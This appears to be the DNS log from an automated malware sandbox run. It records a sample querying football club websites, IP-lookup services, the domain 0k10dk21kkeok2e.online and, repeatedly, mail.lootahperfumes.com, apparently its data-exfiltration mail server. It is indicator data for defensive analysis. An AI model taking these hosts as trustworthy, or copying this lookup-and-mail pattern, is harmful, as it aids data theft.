Mar 3, 2021 07:33:17.816699028 CET	192.168.2.4	8.8.8.8	0x261c	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.880419016 CET	192.168.2.4	8.8.8.8	0x5cb	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.074151993 CET	192.168.2.4	8.8.8.8	0x508a	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.161024094 CET	192.168.2.4	8.8.8.8	0x3feb	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.355093002 CET	192.168.2.4	8.8.8.8	0x9c89	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.392937899 CET	192.168.2.4	8.8.8.8	0x1b56	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.423691988 CET	192.168.2.4	8.8.8.8	0x91b9	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:21.857192993 CET	192.168.2.4	8.8.8.8	0xe23d	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:21.946985960 CET	192.168.2.4	8.8.8.8	0x66b3	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:22.172677040 CET	192.168.2.4	8.8.8.8	0xdc9b	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:22.258773088 CET	192.168.2.4	8.8.8.8	0xd077	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:22.461647987 CET	192.168.2.4	8.8.8.8	0x8cbf	Standard query (0)	0k10dk21kkeok2e.online	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.233890057 CET	192.168.2.4	8.8.8.8	0x42e7	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.356957912 CET	192.168.2.4	8.8.8.8	0x72f	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.619283915 CET	192.168.2.4	8.8.8.8	0x5369	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.700820923 CET	192.168.2.4	8.8.8.8	0xbbb4	Standard query (0)	www.chelseafc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.894350052 CET	192.168.2.4	8.8.8.8	0x63f7	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:28.962501049 CET	192.168.2.4	8.8.8.8	0x3d17	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:29.288110018 CET	192.168.2.4	8.8.8.8	0x166e	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:29.362998962 CET	192.168.2.4	8.8.8.8	0x2795	Standard query (0)	www.manutd.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.154738903 CET	192.168.2.4	8.8.8.8	0x748	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.224097013 CET	192.168.2.4	8.8.8.8	0x933e	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.413728952 CET	192.168.2.4	8.8.8.8	0xac36	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.486130953 CET	192.168.2.4	8.8.8.8	0x1aad	Standard query (0)	www.mancity.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.646157980 CET	192.168.2.4	8.8.8.8	0xa0af	Standard query (0)	0k10dk21kkeok2e.online	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.732822895 CET	192.168.2.4	8.8.8.8	0x1c1f	Standard query (0)	0k10dk21kkeok2e.online	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:30.814457893 CET	192.168.2.4	8.8.8.8	0xcd9d	Standard query (0)	0k10dk21kkeok2e.online	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:38.801379919 CET	192.168.2.4	8.8.8.8	0x92e4	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:39.856695890 CET	192.168.2.4	8.8.8.8	0xca5f	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:43.475291967 CET	192.168.2.4	8.8.8.8	0x3701	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:45.038299084 CET	192.168.2.4	8.8.8.8	0x7e41	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.121999979 CET	192.168.2.4	8.8.8.8	0xcf2d	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.253437996 CET	192.168.2.4	8.8.8.8	0x419f	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.398875952 CET	192.168.2.4	8.8.8.8	0xb2e3	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:46.578435898 CET	192.168.2.4	8.8.8.8	0x11d4	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.089886904 CET	192.168.2.4	8.8.8.8	0xabfc	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.185765028 CET	192.168.2.4	8.8.8.8	0x7142	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.369138002 CET	192.168.2.4	8.8.8.8	0x926b	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.454143047 CET	192.168.2.4	8.8.8.8	0xbde8	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.768070936 CET	192.168.2.4	8.8.8.8	0xc803	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:47.881875992 CET	192.168.2.4	8.8.8.8	0xf00d	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.347923040 CET	192.168.2.4	8.8.8.8	0x2e92	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.426461935 CET	192.168.2.4	8.8.8.8	0xad35	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.590243101 CET	192.168.2.4	8.8.8.8	0xb445	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:48.646229982 CET	192.168.2.4	8.8.8.8	0x3e6a	Standard query (0)	www.liverpoolfc.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:49.112596989 CET	192.168.2.4	8.8.8.8	0xcfcf	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:49.206794977 CET	192.168.2.4	8.8.8.8	0x50ce	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:49.455410004 CET	192.168.2.4	8.8.8.8	0xf6ee	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:49.688296080 CET	192.168.2.4	8.8.8.8	0x2d1	Standard query (0)	www.realmadrid.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:50.417705059 CET	192.168.2.4	8.8.8.8	0x77a8	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:51.364824057 CET	192.168.2.4	8.8.8.8	0xe5f1	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:53.982697964 CET	192.168.2.4	8.8.8.8	0x4b68	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:54.946743011 CET	192.168.2.4	8.8.8.8	0xfee7	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:57.706346989 CET	192.168.2.4	8.8.8.8	0x31c7	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:58.876838923 CET	192.168.2.4	8.8.8.8	0x5a43	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:01.549890041 CET	192.168.2.4	8.8.8.8	0x30c5	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:02.656780958 CET	192.168.2.4	8.8.8.8	0x7052	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:05.390466928 CET	192.168.2.4	8.8.8.8	0x96b5	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:05.484024048 CET	192.168.2.4	8.8.8.8	0xc19a	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:08.086750031 CET	192.168.2.4	8.8.8.8	0xc9f4	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:08.177808046 CET	192.168.2.4	8.8.8.8	0xf271	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:10.645207882 CET	192.168.2.4	8.8.8.8	0x8297	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:11.382144928 CET	192.168.2.4	8.8.8.8	0xd52a	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:13.999397993 CET	192.168.2.4	8.8.8.8	0x24cd	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:15.360810995 CET	192.168.2.4	8.8.8.8	0xac05	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:18.202532053 CET	192.168.2.4	8.8.8.8	0x6840	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:19.512433052 CET	192.168.2.4	8.8.8.8	0x9c55	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:22.491592884 CET	192.168.2.4	8.8.8.8	0x89a1	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.669692039 CET	192.168.2.4	8.8.8.8	0x8d2f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.724396944 CET	192.168.2.4	8.8.8.8	0x6946	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:23.830288887 CET	192.168.2.4	8.8.8.8	0x3b6c	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:24.354899883 CET	192.168.2.4	8.8.8.8	0x19d6	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:26.807842970 CET	192.168.2.4	8.8.8.8	0x27d9	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:28.129539967 CET	192.168.2.4	8.8.8.8	0x550	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.087033987 CET	192.168.2.4	8.8.8.8	0x4b83	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.138192892 CET	192.168.2.4	8.8.8.8	0xdd4	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.802025080 CET	192.168.2.4	8.8.8.8	0x30c9	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.838116884 CET	192.168.2.4	8.8.8.8	0xde6f	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:29.902439117 CET	192.168.2.4	8.8.8.8	0xb0ca	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:31.617628098 CET	192.168.2.4	8.8.8.8	0x6231	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:31.689716101 CET	192.168.2.4	8.8.8.8	0xf553	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:33.411266088 CET	192.168.2.4	8.8.8.8	0xfca6	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:33.560586929 CET	192.168.2.4	8.8.8.8	0x23a7	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:35.764523983 CET	192.168.2.4	8.8.8.8	0x675a	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)
Mar 3, 2021 07:34:35.819072962 CET	192.168.2.4	8.8.8.8	0xda6c	Standard query (0)	mail.lootahperfumes.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Mar 3, 2021 07:32:34.923253059 CET	8.8.8.8	192.168.2.4	0x98c9	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:34.923253059 CET	8.8.8.8	192.168.2.4	0x98c9	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.923253059 CET	8.8.8.8	192.168.2.4	0x98c9	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.923253059 CET	8.8.8.8	192.168.2.4	0x98c9	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.923253059 CET	8.8.8.8	192.168.2.4	0x98c9	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.994386911 CET	8.8.8.8	192.168.2.4	0x559c	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:34.994386911 CET	8.8.8.8	192.168.2.4	0x559c	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.994386911 CET	8.8.8.8	192.168.2.4	0x559c	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.994386911 CET	8.8.8.8	192.168.2.4	0x559c	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:34.994386911 CET	8.8.8.8	192.168.2.4	0x559c	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.157663107 CET	8.8.8.8	192.168.2.4	0x6ce3	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:35.157663107 CET	8.8.8.8	192.168.2.4	0x6ce3	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.157663107 CET	8.8.8.8	192.168.2.4	0x6ce3	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.157663107 CET	8.8.8.8	192.168.2.4	0x6ce3	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.157663107 CET	8.8.8.8	192.168.2.4	0x6ce3	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.222950935 CET	8.8.8.8	192.168.2.4	0x38d8	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:35.222950935 CET	8.8.8.8	192.168.2.4	0x38d8	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.222950935 CET	8.8.8.8	192.168.2.4	0x38d8	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.222950935 CET	8.8.8.8	192.168.2.4	0x38d8	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.222950935 CET	8.8.8.8	192.168.2.4	0x38d8	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:35.404588938 CET	8.8.8.8	192.168.2.4	0x6117	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:35.471177101 CET	8.8.8.8	192.168.2.4	0xb108	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:35.659245968 CET	8.8.8.8	192.168.2.4	0x22d1	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:35.726114988 CET	8.8.8.8	192.168.2.4	0x69c7	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:36.465142012 CET	8.8.8.8	192.168.2.4	0xb71f	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:36.528810978 CET	8.8.8.8	192.168.2.4	0x6399	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:36.689012051 CET	8.8.8.8	192.168.2.4	0x1149	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:36.756551027 CET	8.8.8.8	192.168.2.4	0xeeef	No error (0)	www.mancity.com	www.mancity.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:36.913986921 CET	8.8.8.8	192.168.2.4	0x754	No error (0)	0k10dk21kkeok2e.online		172.67.179.188	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:36.913986921 CET	8.8.8.8	192.168.2.4	0x754	No error (0)	0k10dk21kkeok2e.online		104.21.59.148	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.083637953 CET	8.8.8.8	192.168.2.4	0xe402	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:41.083637953 CET	8.8.8.8	192.168.2.4	0xe402	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.083637953 CET	8.8.8.8	192.168.2.4	0xe402	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.083637953 CET	8.8.8.8	192.168.2.4	0xe402	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.083637953 CET	8.8.8.8	192.168.2.4	0xe402	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.151532888 CET	8.8.8.8	192.168.2.4	0xd959	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:41.151532888 CET	8.8.8.8	192.168.2.4	0xd959	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.151532888 CET	8.8.8.8	192.168.2.4	0xd959	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.151532888 CET	8.8.8.8	192.168.2.4	0xd959	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.151532888 CET	8.8.8.8	192.168.2.4	0xd959	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.301558018 CET	8.8.8.8	192.168.2.4	0x6478	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:41.301558018 CET	8.8.8.8	192.168.2.4	0x6478	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.301558018 CET	8.8.8.8	192.168.2.4	0x6478	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.301558018 CET	8.8.8.8	192.168.2.4	0x6478	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.301558018 CET	8.8.8.8	192.168.2.4	0x6478	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.364888906 CET	8.8.8.8	192.168.2.4	0x3853	No error (0)	www.liverpoolfc.com	d2hhwit6pbhmvu.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:41.364888906 CET	8.8.8.8	192.168.2.4	0x3853	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.27	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.364888906 CET	8.8.8.8	192.168.2.4	0x3853	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.53	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.364888906 CET	8.8.8.8	192.168.2.4	0x3853	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.39	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:41.364888906 CET	8.8.8.8	192.168.2.4	0x3853	No error (0)	d2hhwit6pbhmvu.cloudfront.net		13.225.80.63	A (IP address)	IN (0x0001)
Mar 3, 2021 07:32:42.214519024 CET	8.8.8.8	192.168.2.4	0xd11e	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:42.287520885 CET	8.8.8.8	192.168.2.4	0x20dd	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:42.474299908 CET	8.8.8.8	192.168.2.4	0x3a2d	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:32:42.536982059 CET	8.8.8.8	192.168.2.4	0xcac0	No error (0)	www.realmadrid.com	realmadrid.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.511307001 CET	8.8.8.8	192.168.2.4	0xc4eb	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.com		131.186.161.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.com		131.186.113.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:09.577732086 CET	8.8.8.8	192.168.2.4	0xaf30	No error (0)	checkip.dyndns.com		162.88.193.70	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.595207930 CET	8.8.8.8	192.168.2.4	0x48cf	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:17.595207930 CET	8.8.8.8	192.168.2.4	0x48cf	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.595207930 CET	8.8.8.8	192.168.2.4	0x48cf	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.595207930 CET	8.8.8.8	192.168.2.4	0x48cf	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.595207930 CET	8.8.8.8	192.168.2.4	0x48cf	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.665916920 CET	8.8.8.8	192.168.2.4	0x4ce3	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:17.665916920 CET	8.8.8.8	192.168.2.4	0x4ce3	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.665916920 CET	8.8.8.8	192.168.2.4	0x4ce3	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.665916920 CET	8.8.8.8	192.168.2.4	0x4ce3	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.665916920 CET	8.8.8.8	192.168.2.4	0x4ce3	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.872422934 CET	8.8.8.8	192.168.2.4	0x261c	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:17.872422934 CET	8.8.8.8	192.168.2.4	0x261c	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.872422934 CET	8.8.8.8	192.168.2.4	0x261c	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.872422934 CET	8.8.8.8	192.168.2.4	0x261c	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.872422934 CET	8.8.8.8	192.168.2.4	0x261c	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.935010910 CET	8.8.8.8	192.168.2.4	0x5cb	No error (0)	www.chelseafc.com	chelseafc.map.fastly.net		CNAME (Canonical name)	IN (0x0001)
Mar 3, 2021 07:33:17.935010910 CET	8.8.8.8	192.168.2.4	0x5cb	No error (0)	chelseafc.map.fastly.net		151.101.2.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.935010910 CET	8.8.8.8	192.168.2.4	0x5cb	No error (0)	chelseafc.map.fastly.net		151.101.66.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.935010910 CET	8.8.8.8	192.168.2.4	0x5cb	No error (0)	chelseafc.map.fastly.net		151.101.130.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:17.935010910 CET	8.8.8.8	192.168.2.4	0x5cb	No error (0)	chelseafc.map.fastly.net		151.101.194.133	A (IP address)	IN (0x0001)
Mar 3, 2021 07:33:18.134624958 CET	8.8.8.8	192.168.2.4	0x508a	No error (0)	www.manutd.com	www.manutd.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)
